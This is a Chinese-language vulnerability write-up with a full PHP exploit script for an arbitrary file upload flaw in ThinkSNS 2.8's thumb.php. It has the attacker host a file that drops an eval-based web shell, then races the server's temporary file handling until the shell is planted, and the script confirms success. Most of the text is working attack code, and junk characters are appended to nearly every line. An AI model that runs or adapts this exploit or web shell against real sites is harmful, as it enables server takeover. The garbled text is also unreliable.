漏洞版本0 [% G, ^* H m
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过); l4 P5 x! u' Z' y/ P% P% G" F
漏洞文件& R% G* h$ ^$ x4 @" w7 z2 [6 x
存在漏洞的文件为:thumb.php1 T! p7 F2 [; V* f' [
作者:韦鲲鹏 h3 S) D" r2 [ `* |
1、 准备如下PHP文件并上传到服务器(自己的)。
- F0 ~3 l5 E5 @' [8 k文件内容如下:0 X* t& p" N& i; P" U- g& {
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
6 Z; V& z8 h- I+ q2、 计算出临时的文件名:7 K4 f6 e% j* c( J% c# X6 w- h1 W
这里我们可以看文件的99行(刚刚是不是没注意呀!)。) e2 y7 C4 y$ `& g
$ y/ O. ^: I7 b& r
3、 上传临时文件。
6 x k o3 _& A# x, i6 p% @4、 访问临时文件。6 B$ f7 D+ A" Y' J/ A
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
8 o+ G2 n6 g7 r& ?5 t2 j0 q- dExploit文件内容如下:(这个我就不详细解释了)* C% Z2 u8 s8 L5 } a
<?php
4 u v" Q7 W4 w" f8 s c2 c/ _9 Kerror_reporting(0);
% P* i/ k) }5 s& B% p; Nset_time_limit(0);# O7 e. ~: w* }$ i) K& w: c v
ini_set(“default_socket_timeout”, 5);
" c! L' B; c) r8 Lfunction http_send($host, $port, $headers) {
; B$ J [. ?1 Q4 B, Q$fp = fsockopen($host, $port);( E1 M* Y! Y2 y! G1 m
if (!$fp) die(‘Connection -> fail’);
" M* x* t' C- X* Qfputs($fp, $headers);
% J3 k& `! ?0 y+ ]return $fp;5 H# D# \( J+ l" Y4 O
}1 K$ a" x# v( e0 X" D
function http_recv($fp) {
7 c- y* ^7 O5 d5 v1 m2 k$ret=”";
+ k) L& p3 F" z1 R1 G- Ewhile (!feof($fp))
& [( G$ P$ D# ]8 ^3 K$ret.= fgets($fp, 1024);* F4 d7 q$ z7 _: \5 r' ~% E
fclose($fp);1 x( \* ~- l; ]8 ?2 C" W+ @
return $ret;! g+ \& O4 i+ ?* S2 I
}
; L8 N$ B; f2 X( y3 rprint “\n# ThinkSns Arbitrary File Upload #\n”;7 b0 r! [& M n% V
print “# Discovered by 韦鲲鹏 #\n\n”;2 f# W3 q, H4 A# y
if ($argc < 4) {
$ u8 z- h; J! g3 C' H& Y* xprint “Usage: php <host> <path> <romote_url>\n”;
/ r* y, ]% H& ?- O. [print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;: e+ x: v g# Q- Y, [+ B. R1 @( R% \
die();( v0 N* G" {: K4 w& c
}
3 }; e% c' Y9 o' ]" w- X$host = $argv[1];( m, e( f2 o3 u
$path = $argv[2];4 U& X' w2 O! L$ X$ Z
$url = $argv[3];
& X7 U r8 C c: q/ t7 b e$i=0;
% U' e4 p0 L# s5 M2 n. x. Y//上传数据包
0 x2 t! {8 ?9 s5 b2 Z8 f3 ]$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;/ G2 t0 R4 t+ |+ R% P
$headers_up .= “Host: “.$host.”\r\n”; k# b6 L: H; u9 i* D9 r
$headers_up .= “Connection: close\r\n\r\n”;
$ d0 I0 e4 E) decho $headers_up;
/ U) B. G' }! [! p+ g! o8 }//临时文件访问数据包
# U: E7 e+ }" F$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;) H5 K, t+ z% N- A' l! a6 R; x3 }
$headers .= “Host: “.$host.”\r\n”;
9 b3 _8 [! k- E/ C c$headers .= “Connection: close\r\n\r\n”;9 a! O" ?$ n9 Y0 e5 B% u
echo $headers;5 w4 l: c" J8 b4 @9 z# h
while(++$i<10) {
y8 A$ Y3 y* f% k( A% _2 u# X) xfclose(http_send($host, 80, $headers));- r: U9 J6 F% k; ? h
}9 @! L E5 e" @
fclose(http_send($host, 80, $headers_up));$ W' `0 ?2 B. D) d! u) h) j
while(++$i<50) {
# b* @( G% F6 { Z4 N5 u+ o3 E4 h* Ofclose(http_send($host, 80, $headers));5 \0 @; S2 Y* z1 }0 e
}
. u: x! Y9 v3 F) v/ i$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
0 x! @: w( Y1 M1 e/ U" B) v$headers .= “Host: “.$host.”\r\n”;0 E' }' J' @+ b. |& i$ ?7 s
$headers .= “Connection: close\r\n\r\n”;
! c2 K1 `6 O, u* \# {$res=http_recv(http_send($host, 80, $headers));# O. ]% ]. Z6 Y7 p; n
if(preg_match(‘/200 OK/’,$res)) {
+ z$ B* {2 E4 {- `, X4 I3 kprint “Success!\n\n”;
3 m( \' u8 g9 {; n; E} else {% X$ i. u6 `' }6 k/ J/ l
print “Fail!\n\n”;% G- }/ v" d. r1 y) u; g9 |
}. P6 F) f) u2 G" C. I3 Z
?>9 S, d( W9 \3 z8 B
|